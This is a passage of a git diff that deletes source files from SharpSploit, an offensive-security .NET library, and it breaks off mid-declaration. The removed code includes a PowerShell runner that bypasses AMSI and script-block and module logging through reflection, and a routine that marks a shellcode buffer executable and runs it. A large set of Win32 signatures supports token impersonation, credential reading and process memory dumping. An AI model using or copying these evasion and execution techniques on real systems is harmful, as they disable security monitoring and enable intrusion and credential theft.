IMAGE_DATA_DIRECTORY GlobalPtr; - public IMAGE_DATA_DIRECTORY TLSTable; - public IMAGE_DATA_DIRECTORY LoadConfigTable; - public IMAGE_DATA_DIRECTORY BoundImport; - public IMAGE_DATA_DIRECTORY IAT; - public IMAGE_DATA_DIRECTORY DelayImportDescriptor; - public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; - public IMAGE_DATA_DIRECTORY Reserved; - } - - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct IMAGE_FILE_HEADER - { - public UInt16 Machine; - public UInt16 NumberOfSections; - public UInt32 TimeDateStamp; - public UInt32 PointerToSymbolTable; - public UInt32 NumberOfSymbols; - public UInt16 SizeOfOptionalHeader; - public UInt16 Characteristics; - } - - [StructLayout(LayoutKind.Explicit)] - public struct IMAGE_SECTION_HEADER - { - [FieldOffset(0)] - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] - public char[] Name; - [FieldOffset(8)] - public UInt32 VirtualSize; - [FieldOffset(12)] - public UInt32 VirtualAddress; - [FieldOffset(16)] - public UInt32 SizeOfRawData; - [FieldOffset(20)] - public UInt32 PointerToRawData; - [FieldOffset(24)] - public UInt32 PointerToRelocations; - [FieldOffset(28)] - public UInt32 PointerToLinenumbers; - [FieldOffset(32)] - public UInt16 NumberOfRelocations; - [FieldOffset(34)] - public UInt16 NumberOfLinenumbers; - [FieldOffset(36)] - public DataSectionFlags Characteristics; - - public string Section - { - get { return new string(Name); } - } - } - - [StructLayout(LayoutKind.Explicit)] - public struct IMAGE_EXPORT_DIRECTORY - { - [FieldOffset(0)] - public UInt32 Characteristics; - [FieldOffset(4)] - public UInt32 TimeDateStamp; - [FieldOffset(8)] - public UInt16 MajorVersion; - [FieldOffset(10)] - public UInt16 MinorVersion; - [FieldOffset(12)] - public UInt32 Name; - [FieldOffset(16)] - public UInt32 Base; - [FieldOffset(20)] - public UInt32 NumberOfFunctions; - [FieldOffset(24)] - public UInt32 NumberOfNames; - [FieldOffset(28)] - public UInt32 AddressOfFunctions; - [FieldOffset(32)] - public UInt32 AddressOfNames; - [FieldOffset(36)] - public UInt32 AddressOfOrdinals; - } - - [StructLayout(LayoutKind.Sequential)] - public struct IMAGE_BASE_RELOCATION - { - public uint VirtualAdress; - public uint SizeOfBlock; - } - } -} diff --git a/Source/SharpSploit/Execution/Shell.cs b/Source/SharpSploit/Execution/Shell.cs deleted file mode 100644 index b34a16a..0000000 --- a/Source/SharpSploit/Execution/Shell.cs +++ /dev/null @@ -1,125 +0,0 @@ -// Author: Ryan Cobb (@cobbr_io) -// Project: SharpSploit (https://github.com/cobbr/SharpSploit) -// License: BSD 3-Clause - -using System; -using System.Linq; -using System.Reflection; -using System.Diagnostics; -using System.Management.Automation; - -namespace SharpSploit.Execution -{ - /// - /// Shell is a library for executing shell commands. - /// - public static class Shell - { - /// - /// Executes specified PowerShell code using System.Management.Automation.dll and bypasses - /// AMSI, ScriptBlock Logging, and Module Logging (but not Transcription Logging). - /// - /// PowerShell code to execute. - /// Switch. If true, appends Out-String to the PowerShellCode to execute. - /// Switch. If true, bypasses ScriptBlock and Module logging. - /// Switch. If true, bypasses AMSI. - /// Output of executed PowerShell. - /// - /// Credit for the AMSI bypass goes to Matt Graeber (@mattifestation). Credit for the ScriptBlock/Module - /// logging bypass goes to Lee Christensen (@_tifkin). - /// - public static string PowerShellExecute(string PowerShellCode, bool OutString = true, bool BypassLogging = true, bool BypassAmsi = true) - { - if (PowerShellCode == null || PowerShellCode == "") return ""; - - using (PowerShell ps = PowerShell.Create()) - { - BindingFlags flags = BindingFlags.NonPublic | BindingFlags.Static; - if (BypassLogging) - { - var PSEtwLogProvider = ps.GetType().Assembly.GetType("System.Management.Automation.Tracing.PSEtwLogProvider"); - if (PSEtwLogProvider != null) - { - var EtwProvider = PSEtwLogProvider.GetField("etwProvider", flags); - var EventProvider = new System.Diagnostics.Eventing.EventProvider(Guid.NewGuid()); - EtwProvider.SetValue(null, EventProvider); - } - } - if (BypassAmsi) - { - var amsiUtils = ps.GetType().Assembly.GetType("System.Management.Automation.AmsiUtils"); - if (amsiUtils != null) - { - amsiUtils.GetField("amsiInitFailed", flags).SetValue(null, true); - } - } - ps.AddScript(PowerShellCode); - if (OutString) { ps.AddCommand("Out-String"); } - var results = ps.Invoke(); - string output = String.Join(Environment.NewLine, results.Select(R => R.ToString()).ToArray()); - ps.Commands.Clear(); - return output; - } - } - - /// - /// Executes a specified Shell command, optionally with an alternative username and password. - /// Equates to `ShellExecuteWithPath(ShellCommand, "C:\\WINDOWS\\System32")`. - /// - /// The ShellCommand to execute, including any arguments. - /// Optional alternative username to execute ShellCommand as. - /// Optional alternative Domain of the username to execute ShellCommand as. - /// Optional password to authenticate the username to execute the ShellCommand as. - /// Ouput of the ShellCommand. - public static string ShellExecute(string ShellCommand, string Username = "", string Domain = "", string Password = "") - { - return ShellExecuteWithPath(ShellCommand, "C:\\WINDOWS\\System32\\", Username, Domain, Password); - } - - /// - /// Executes a specified Shell command from a specified directory, optionally with an alternative username and password. - /// - /// The ShellCommand to execute, including any arguments. - /// The Path of the directory from which to execute the ShellCommand. - /// Optional alternative username to execute ShellCommand as. - /// Optional alternative Domain of the username to execute ShellCommand as. - /// Optional password to authenticate the username to execute the ShellCommand as. - /// Output of the ShellCommand. - public static string ShellExecuteWithPath(string ShellCommand, string Path, string Username = "", string Domain = "", string Password = "") - { - if (ShellCommand == null || ShellCommand == "") return ""; - - string ShellCommandName = ShellCommand.Split(' ')[0]; - string ShellCommandArguments = ""; - if (ShellCommand.Contains(" ")) - { - ShellCommandArguments = ShellCommand.Replace(ShellCommandName + " ", ""); - } - - Process shellProcess = new Process(); - if (Username != "") - { - shellProcess.StartInfo.UserName = Username; - shellProcess.StartInfo.Domain = Domain; - System.Security.SecureString SecurePassword = new System.Security.SecureString(); - foreach (char c in Password) - { - SecurePassword.AppendChar(c); - } - shellProcess.StartInfo.Password = SecurePassword; - } - shellProcess.StartInfo.FileName = ShellCommandName; - shellProcess.StartInfo.Arguments = ShellCommandArguments; - shellProcess.StartInfo.WorkingDirectory = Path; - shellProcess.StartInfo.UseShellExecute = false; - shellProcess.StartInfo.CreateNoWindow = true; - shellProcess.StartInfo.RedirectStandardOutput = true; - shellProcess.Start(); - - string output = shellProcess.StandardOutput.ReadToEnd(); - shellProcess.WaitForExit(); - - return output; - } - } -} \ No newline at end of file diff --git a/Source/SharpSploit/Execution/ShellCode.cs b/Source/SharpSploit/Execution/ShellCode.cs deleted file mode 100644 index ef319d8..0000000 --- a/Source/SharpSploit/Execution/ShellCode.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Author: Ryan Cobb (@cobbr_io) -// Project: SharpSploit (https://github.com/cobbr/SharpSploit) -// License: BSD 3-Clause - -using System; -using System.Runtime.InteropServices; - -namespace SharpSploit.Execution -{ - /// - /// ShellCode includes a method for executing shellcode. - /// - public class ShellCode - { - [UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)] - private delegate Int32 Run(); - - /// - /// Executes a specified ShellCode byte array by copying it to pinned memory, modifying the memory - /// permissions with VirtualProtect(), and executing with a .NET delegate. - /// - /// ShellCode byte array to execute. - /// Boolean. True if execution succeeds, false otherwise. - public static bool ShellCodeExecute(byte[] ShellCode) - { - try - { - GCHandle pinnedArray = GCHandle.Alloc(ShellCode, GCHandleType.Pinned); - IntPtr ptr = pinnedArray.AddrOfPinnedObject(); - Marshal.Copy(ShellCode, 0, ptr, ShellCode.Length); - - uint flOldProtect = 0; - if (!Win32.Kernel32.VirtualProtect(ptr, (UIntPtr)ShellCode.Length, 0x40, out flOldProtect)) - { - return false; - } - Run del = (Run)Marshal.GetDelegateForFunctionPointer(ptr, typeof(Run)); - del(); - return true; - } - catch (Exception e) - { - Console.Error.WriteLine("ShellCodeExecute exception: " + e.Message); - } - return false; - } - } -} diff --git a/Source/SharpSploit/Execution/Win32.cs b/Source/SharpSploit/Execution/Win32.cs deleted file mode 100644 index ddbb089..0000000 --- a/Source/SharpSploit/Execution/Win32.cs +++ /dev/null @@ -1,1137 +0,0 @@ -// Author: Ryan Cobb (@cobbr_io) -// Project: SharpSploit (https://github.com/cobbr/SharpSploit) -// License: BSD 3-Clause - -using System; -using System.Text; -using System.Runtime.InteropServices; -using MW32 = Microsoft.Win32; - -namespace SharpSploit.Execution -{ - - /// - /// Win32 is a library of PInvoke signatures for Win32 API functions. - /// - /// - /// A majority of this library is adapted from signatures found at www.pinvoke.net. - /// - public static class Win32 - { - public static class Kernel32 - { - public static uint MEM_COMMIT = 0x1000; - public static uint MEM_RESERVE = 0x2000; - - [StructLayout(LayoutKind.Sequential)] - public struct IMAGE_BASE_RELOCATION - { - public uint VirtualAdress; - public uint SizeOfBlock; - } - - [StructLayout(LayoutKind.Sequential)] - public struct IMAGE_IMPORT_DESCRIPTOR - { - public uint OriginalFirstThunk; - public uint TimeDateStamp; - public uint ForwarderChain; - public uint Name; - public uint FirstThunk; - } - - [DllImport("kernel32.dll")] - public static extern IntPtr GetCurrentThread(); - - [DllImport("kernel32.dll")] - public static extern IntPtr GetCurrentProcess(); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] - public static extern IntPtr GetProcAddress( - IntPtr hModule, - string procName - ); - - [DllImport("kernel32.dll")] - public static extern void GetSystemInfo( - out WinBase._SYSTEM_INFO lpSystemInfo - ); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern IntPtr GlobalSize( - IntPtr hMem - ); - - [DllImport("kernel32.dll")] - public static extern IntPtr OpenProcess( - ProcessAccessFlags dwDesiredAccess, - bool bInheritHandle, - UInt32 dwProcessId - ); - - [DllImport("kernel32.dll")] - public static extern Boolean OpenProcessToken( - IntPtr hProcess, - UInt32 dwDesiredAccess, - out IntPtr hToken - ); - - [DllImport("kernel32.dll")] - public static extern Boolean OpenThreadToken( - IntPtr ThreadHandle, - UInt32 DesiredAccess, - Boolean OpenAsSelf, - ref IntPtr TokenHandle - ); - - [DllImport("kernel32.dll")] - public static extern IntPtr OpenThread( - UInt32 dwDesiredAccess, - Boolean bInheritHandle, - UInt32 dwThreadId - ); - - [DllImport("kernel32.dll")] - public static extern Boolean ReadProcessMemory( - IntPtr hProcess, - UInt32 lpBaseAddress, - IntPtr lpBuffer, - UInt32 nSize, - ref UInt32 lpNumberOfBytesRead - ); - - [DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")] - public static extern Boolean ReadProcessMemory64( - IntPtr hProcess, - UInt64 lpBaseAddress, - IntPtr lpBuffer, - UInt64 nSize, - ref UInt32 lpNumberOfBytesRead - ); - - [DllImport("kernel32.dll")] - public static extern UInt32 SearchPath( - String lpPath, - String lpFileName, - String lpExtension, - UInt32 nBufferLength, - [MarshalAs(UnmanagedType.LPTStr)] - StringBuilder lpBuffer, - ref IntPtr lpFilePart - ); - - [DllImport("kernel32.dll", EntryPoint = "VirtualQueryEx")] - public static extern Int32 VirtualQueryEx32( - IntPtr hProcess, - IntPtr lpAddress, - out WinNT._MEMORY_BASIC_INFORMATION32 lpBuffer, - UInt32 dwLength - ); - - [DllImport("kernel32.dll", EntryPoint = "VirtualQueryEx")] - public static extern Int32 VirtualQueryEx64( - IntPtr hProcess, - IntPtr lpAddress, - out WinNT._MEMORY_BASIC_INFORMATION64 lpBuffer, - UInt32 dwLength - ); - - [DllImport("kernel32.dll")] - public static extern IntPtr VirtualAlloc( - IntPtr lpStartAddr, - uint size, - uint flAllocationType, - uint flProtect - ); - - [DllImport("kernel32.dll")] - public static extern bool VirtualProtect( - IntPtr lpAddress, - UIntPtr dwSize, - uint flNewProtect, - out uint lpflOldProtect - ); - - [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] - public static extern IntPtr LoadLibrary( - string lpFileName - ); - - [DllImport("kernel32.dll")] - public static extern IntPtr CreateThread( - IntPtr lpThreadAttributes, - uint dwStackSize, - IntPtr lpStartAddress, - IntPtr param, - uint dwCreationFlags, - IntPtr lpThreadId - ); - - [DllImport("kernel32.dll")] - public static extern UInt32 WaitForSingleObject( - IntPtr hHandle, - UInt32 dwMilliseconds - ); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern IntPtr LocalFree( - IntPtr hMem - ); - - [DllImport("kernel32.dll")] - public static extern Boolean CloseHandle( - IntPtr hProcess - ); - - [Flags] - public enum ProcessAccessFlags : UInt32 - { - // https://msdn.microsoft.com/en-us/library/windows/desktop/ms684880%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396 - PROCESS_ALL_ACCESS = 0x001F0FFF, - PROCESS_CREATE_PROCESS = 0x0080, - PROCESS_CREATE_THREAD = 0x0002, - PROCESS_DUP_HANDLE = 0x0040, - PROCESS_QUERY_INFORMATION = 0x0400, - PROCESS_QUERY_LIMITED_INFORMATION = 0x1000, - PROCESS_SET_INFORMATION = 0x0200, - PROCESS_SET_QUOTA = 0x0100, - PROCESS_SUSPEND_RESUME = 0x0800, - PROCESS_TERMINATE = 0x0001, - PROCESS_VM_OPERATION = 0x0008, - PROCESS_VM_READ = 0x0010, - PROCESS_VM_WRITE = 0x0020, - SYNCHRONIZE = 0x00100000 - } - } - - public static class Netapi32 - { - [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)] - public struct LOCALGROUP_USERS_INFO_0 - { - [MarshalAs(UnmanagedType.LPWStr)] internal string name; - } - - [StructLayout(LayoutKind.Sequential)] - public struct LOCALGROUP_USERS_INFO_1 - { - [MarshalAs(UnmanagedType.LPWStr)] public string name; - [MarshalAs(UnmanagedType.LPWStr)] public string comment; - } - - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public struct LOCALGROUP_MEMBERS_INFO_2 - { - public IntPtr lgrmi2_sid; - public int lgrmi2_sidusage; - [MarshalAs(UnmanagedType.LPWStr)] public string lgrmi2_domainandname; - } - - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public struct WKSTA_USER_INFO_1 - { - public string wkui1_username; - public string wkui1_logon_domain; - public string wkui1_oth_domains; - public string wkui1_logon_server; - } - - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public struct SESSION_INFO_10 - { - public string sesi10_cname; - public string sesi10_username; - public int sesi10_time; - public int sesi10_idle_time; - } - - public enum SID_NAME_USE : UInt16 - { - SidTypeUser = 1, - SidTypeGroup = 2, - SidTypeDomain = 3, - SidTypeAlias = 4, - SidTypeWellKnownGroup = 5, - SidTypeDeletedAccount = 6, - SidTypeInvalid = 7, - SidTypeUnknown = 8, - SidTypeComputer = 9 - } - - [DllImport("netapi32.dll")] - public static extern int NetLocalGroupEnum( - [MarshalAs(UnmanagedType.LPWStr)] string servername, - int level, - out IntPtr bufptr, - int prefmaxlen, - out int entriesread, - out int totalentries, - ref int resume_handle - ); - - [DllImport("netapi32.dll")] - public static extern int NetLocalGroupGetMembers( - [MarshalAs(UnmanagedType.LPWStr)] string servername, - [MarshalAs(UnmanagedType.LPWStr)] string localgroupname, - int level, - out IntPtr bufptr, - int prefmaxlen, - out int entriesread, - out int totalentries, - ref int resume_handle - ); - - [DllImport("netapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern int NetWkstaUserEnum( - string servername, - int level, - out IntPtr bufptr, - int prefmaxlen, - out int entriesread, - out int totalentries, - ref int resume_handle - ); - - [DllImport("netapi32.dll", SetLastError = true)] - public static extern int NetSessionEnum( - [In, MarshalAs(UnmanagedType.LPWStr)] string ServerName, - [In, MarshalAs(UnmanagedType.LPWStr)] string UncClientName, - [In, MarshalAs(UnmanagedType.LPWStr)] string UserName, - int level, - out IntPtr bufptr, - int prefmaxlen, - out int entriesread, - out int totalentries, - ref int resume_handle - ); - - [DllImport("netapi32.dll", SetLastError = true)] - public static extern int NetApiBufferFree(IntPtr Buffer); - } - - public static class Advapi32 - { - - // http://www.pinvoke.net/default.aspx/advapi32.openprocesstoken - public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000; - public const UInt32 STANDARD_RIGHTS_READ = 0x00020000; - public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001; - public const UInt32 TOKEN_DUPLICATE = 0x0002; - public const UInt32 TOKEN_IMPERSONATE = 0x0004; - public const UInt32 TOKEN_QUERY = 0x0008; - public const UInt32 TOKEN_QUERY_SOURCE = 0x0010; - public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020; - public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040; - public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080; - public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100; - public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY); - public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | - TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | - TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | - TOKEN_ADJUST_SESSIONID); - public const UInt32 TOKEN_ALT = (TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY); - - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean AdjustTokenPrivileges( - IntPtr TokenHandle, - Boolean DisableAllPrivileges, - ref WinNT._TOKEN_PRIVILEGES NewState, - UInt32 BufferLengthInBytes, - ref WinNT._TOKEN_PRIVILEGES PreviousState, - out UInt32 ReturnLengthInBytes - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean AllocateAndInitializeSid( - ref WinNT._SID_IDENTIFIER_AUTHORITY pIdentifierAuthority, - byte nSubAuthorityCount, - Int32 dwSubAuthority0, - Int32 dwSubAuthority1, - Int32 dwSubAuthority2, - Int32 dwSubAuthority3, - Int32 dwSubAuthority4, - Int32 dwSubAuthority5, - Int32 dwSubAuthority6, - Int32 dwSubAuthority7, - out IntPtr pSid - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean AllocateAndInitializeSid( - ref WinNT._SID_IDENTIFIER_AUTHORITY pIdentifierAuthority, - byte nSubAuthorityCount, - Int32 dwSubAuthority0, - Int32 dwSubAuthority1, - Int32 dwSubAuthority2, - Int32 dwSubAuthority3, - Int32 dwSubAuthority4, - Int32 dwSubAuthority5, - Int32 dwSubAuthority6, - Int32 dwSubAuthority7, - ref WinNT._SID pSid - ); - - [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern bool ConvertSidToStringSid( - IntPtr Sid, - out IntPtr StringSid - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean CreateProcessAsUser( - IntPtr hToken, - IntPtr lpApplicationName, - IntPtr lpCommandLine, - ref WinBase._SECURITY_ATTRIBUTES lpProcessAttributes, - ref WinBase._SECURITY_ATTRIBUTES lpThreadAttributes, - Boolean bInheritHandles, - CREATION_FLAGS dwCreationFlags, - IntPtr lpEnvironment, - IntPtr lpCurrentDirectory, - ref ProcessThreadsAPI._STARTUPINFO lpStartupInfo, - out ProcessThreadsAPI._PROCESS_INFORMATION lpProcessInfo - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean CreateProcessAsUserW( - IntPtr hToken, - IntPtr lpApplicationName, - IntPtr lpCommandLine, - IntPtr lpProcessAttributes, - IntPtr lpThreadAttributes, - Boolean bInheritHandles, - CREATION_FLAGS dwCreationFlags, - IntPtr lpEnvironment, - IntPtr lpCurrentDirectory, - ref ProcessThreadsAPI._STARTUPINFO lpStartupInfo, - out ProcessThreadsAPI._PROCESS_INFORMATION lpProcessInfo - ); - - [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] - public static extern bool CreateProcessWithLogonW( - String userName, - String domain, - String password, - int logonFlags, - String applicationName, - String commandLine, - int creationFlags, - IntPtr environment, - String currentDirectory, - ref ProcessThreadsAPI._STARTUPINFO startupInfo, - out ProcessThreadsAPI._PROCESS_INFORMATION processInformation - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean CreateProcessWithTokenW( - IntPtr hToken, - LOGON_FLAGS dwLogonFlags, - IntPtr lpApplicationName, - IntPtr lpCommandLine, - CREATION_FLAGS dwCreationFlags, - IntPtr lpEnvironment, - IntPtr lpCurrentDirectory, - ref ProcessThreadsAPI._STARTUPINFO lpStartupInfo, - out ProcessThreadsAPI._PROCESS_INFORMATION lpProcessInfo - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean CredEnumerateW( - String Filter, - Int32 Flags, - out Int32 Count, - out IntPtr Credentials - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean CredFree( - IntPtr Buffer - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean CredReadW( - String target, - WinCred.CRED_TYPE type, - Int32 reservedFlag, - out IntPtr credentialPtr - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean CredWriteW( - ref WinCred._CREDENTIAL userCredential, - UInt32 flags - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean DuplicateTokenEx( - IntPtr hExistingToken, - UInt32 dwDesiredAccess, - ref WinBase._SECURITY_ATTRIBUTES lpTokenAttributes, - WinNT._SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, - WinNT.TOKEN_TYPE TokenType, - out IntPtr phNewToken - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean GetTokenInformation( - IntPtr TokenHandle, - WinNT._TOKEN_INFORMATION_CLASS TokenInformationClass, - IntPtr TokenInformation, - UInt32 TokenInformationLength, - out UInt32 ReturnLength - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean GetTokenInformation( - IntPtr TokenHandle, - WinNT._TOKEN_INFORMATION_CLASS TokenInformationClass, - ref WinNT._TOKEN_STATISTICS TokenInformation, - UInt32 TokenInformationLength, - out UInt32 ReturnLength - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean ImpersonateLoggedOnUser( - IntPtr hToken - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean ImpersonateSelf( - WinNT._SECURITY_IMPERSONATION_LEVEL ImpersonationLevel - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern bool LogonUserA( - string lpszUsername, - string lpszDomain, - string lpszPassword, - LOGON_TYPE dwLogonType, - LOGON_PROVIDER dwLogonProvider, - out IntPtr phToken - ); - - [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] - public static extern bool LookupAccountSid( - String lpSystemName, - //[MarshalAs(UnmanagedType.LPArray)] - IntPtr Sid, - StringBuilder lpName, - ref UInt32 cchName, - StringBuilder ReferencedDomainName, - ref UInt32 cchReferencedDomainName, - out WinNT._SID_NAME_USE peUse - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean LookupPrivilegeName( - String lpSystemName, - IntPtr lpLuid, - StringBuilder lpName, - ref Int32 cchName - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean LookupPrivilegeValue( - String lpSystemName, - String lpName, - ref WinNT._LUID luid - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean PrivilegeCheck( - IntPtr ClientToken, - WinNT._PRIVILEGE_SET RequiredPrivileges, - out IntPtr pfResult - ); - - [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] - public static extern int RegOpenKeyEx( - UIntPtr hKey, - String subKey, - Int32 ulOptions, - Int32 samDesired, - out UIntPtr hkResult - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern uint RegQueryValueEx( - UIntPtr hKey, - String lpValueName, - Int32 lpReserved, - ref MW32.RegistryValueKind lpType, - IntPtr lpData, - ref Int32 lpcbData - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Int32 RegQueryInfoKey( - UIntPtr hKey, - StringBuilder lpClass, - ref UInt32 lpcchClass, - IntPtr lpReserved, - out UInt32 lpcSubkey, - out UInt32 lpcchMaxSubkeyLen, - out UInt32 lpcchMaxClassLen, - out UInt32 lpcValues, - out UInt32 lpcchMaxValueNameLen, - out UInt32 lpcbMaxValueLen, - IntPtr lpSecurityDescriptor, - IntPtr lpftLastWriteTime - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean RevertToSelf(); - - //https://msdn.microsoft.com/en-us/library/windows/desktop/ms682434(v=vs.85).aspx - [Flags] - public enum CREATION_FLAGS - { - NONE = 0x0, - CREATE_DEFAULT_ERROR_MODE = 0x04000000, - CREATE_NEW_CONSOLE = 0x00000010, - CREATE_NEW_PROCESS_GROUP = 0x00000200, - CREATE_SEPARATE_WOW_VDM = 0x00000800, - CREATE_SUSPENDED = 0x00000004, - CREATE_UNICODE_ENVIRONMENT = 0x00000400, - EXTENDED_STARTUPINFO_PRESENT = 0x00080000 - } - - [Flags] - public enum LOGON_FLAGS - { - LOGON_WITH_PROFILE = 0x00000001, - LOGON_NETCREDENTIALS_ONLY = 0x00000002 - } - - public enum LOGON_TYPE - { - LOGON32_LOGON_INTERACTIVE = 2, - LOGON32_LOGON_NETWORK, - LOGON32_LOGON_BATCH, - LOGON32_LOGON_SERVICE, - LOGON32_LOGON_UNLOCK = 7, - LOGON32_LOGON_NETWORK_CLEARTEXT, - LOGON32_LOGON_NEW_CREDENTIALS - } - - public enum LOGON_PROVIDER - { - LOGON32_PROVIDER_DEFAULT, - LOGON32_PROVIDER_WINNT35, - LOGON32_PROVIDER_WINNT40, - LOGON32_PROVIDER_WINNT50 - } - } - - public static class Dbghelp - { - public enum MINIDUMP_TYPE - { - MiniDumpNormal = 0x00000000, - MiniDumpWithDataSegs = 0x00000001, - MiniDumpWithFullMemory = 0x00000002, - MiniDumpWithHandleData = 0x00000004, - MiniDumpFilterMemory = 0x00000008, - MiniDumpScanMemory = 0x00000010, - MiniDumpWithUnloadedModules = 0x00000020, - MiniDumpWithIndirectlyReferencedMemory = 0x00000040, - MiniDumpFilterModulePaths = 0x00000080, - MiniDumpWithProcessThreadData = 0x00000100, - MiniDumpWithPrivateReadWriteMemory = 0x00000200, - MiniDumpWithoutOptionalData = 0x00000400, - MiniDumpWithFullMemoryInfo = 0x00000800, - MiniDumpWithThreadInfo = 0x00001000, - MiniDumpWithCodeSegs = 0x00002000, - MiniDumpWithoutAuxiliaryState = 0x00004000, - MiniDumpWithFullAuxiliaryState = 0x00008000, - MiniDumpWithPrivateWriteCopyMemory = 0x00010000, - MiniDumpIgnoreInaccessibleMemory = 0x00020000, - MiniDumpWithTokenInformation = 0x00040000, - MiniDumpWithModuleHeaders = 0x00080000, - MiniDumpFilterTriage = 0x00100000, - MiniDumpValidTypeFlags = 0x001fffff - } - - [DllImport("dbghelp.dll", SetLastError = true)] - public static extern bool MiniDumpWriteDump( - IntPtr hProcess, - UInt32 ProcessId, - SafeHandle hFile, - MINIDUMP_TYPE DumpType, - IntPtr ExceptionParam, - IntPtr UserStreamParam, - IntPtr CallbackParam - ); - } - - public static class ActiveDs - { - [DllImport("activeds.dll")] - public static extern IntPtr Init( - Int32 lnSetType, - [MarshalAs(UnmanagedType.BStr)] string bstrADsPath - ); - - [DllImport("activeds.dll")] - public static extern IntPtr Set( - Int32 lnSetType, - [MarshalAs(UnmanagedType.BStr)] string bstrADsPath - ); - - [DllImport("activeds.dll")] - public static extern IntPtr Get( - Int32 lnSetType, - [MarshalAs(UnmanagedType.BStr)] ref string pbstrADsPath - ); - - [DllImport("activeds.dll")] - public static extern IntPtr InitEx( - Int32 lnSetType, - [MarshalAs(UnmanagedType.BStr)] string bstrADsPath, - [MarshalAs(UnmanagedType.BStr)] string bstrUserID, - [MarshalAs(UnmanagedType.BStr)] string bstrDomain, - [MarshalAs(UnmanagedType.BStr)] string bstrPassword - ); - - [DllImport("activeds.dll")] - public static extern IntPtr put_ChaseReferral( - Int32 lnChangeReferral - ); - } - - public class WinBase - { - [StructLayout(LayoutKind.Sequential)] - public struct _SYSTEM_INFO - { - public UInt16 wProcessorArchitecture; - public UInt16 wReserved; - public UInt32 dwPageSize; - public IntPtr lpMinimumApplicationAddress; - public IntPtr lpMaximumApplicationAddress; - public IntPtr dwActiveProcessorMask; - public UInt32 dwNumberOfProcessors; - public UInt32 dwProcessorType; - public UInt32 dwAllocationGranularity; - public UInt16 wProcessorLevel; - public UInt16 wProcessorRevision; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _SECURITY_ATTRIBUTES - { - UInt32 nLength; - IntPtr lpSecurityDescriptor; - Boolean bInheritHandle; - }; - } - - public class WinNT - { - public const UInt32 PAGE_NOACCESS = 0x01; - public const UInt32 PAGE_READONLY = 0x02; - public const UInt32 PAGE_READWRITE = 0x04; - public const UInt32 PAGE_WRITECOPY = 0x08; - public const UInt32 PAGE_EXECUTE = 0x10; - public const UInt32 PAGE_EXECUTE_READ = 0x20; - public const UInt32 PAGE_EXECUTE_READWRITE = 0x40; - public const UInt32 PAGE_EXECUTE_WRITECOPY = 0x80; - public const UInt32 PAGE_GUARD = 0x100; - public const UInt32 PAGE_NOCACHE = 0x200; - public const UInt32 PAGE_WRITECOMBINE = 0x400; - public const UInt32 PAGE_TARGETS_INVALID = 0x40000000; - public const UInt32 PAGE_TARGETS_NO_UPDATE = 0x40000000; - - public const UInt32 SE_PRIVILEGE_ENABLED = 0x2; - public const UInt32 SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1; - public const UInt32 SE_PRIVILEGE_REMOVED = 0x4; - public const UInt32 SE_PRIVILEGE_USED_FOR_ACCESS = 0x3; - - public const UInt64 SE_GROUP_ENABLED = 0x00000004L; - public const 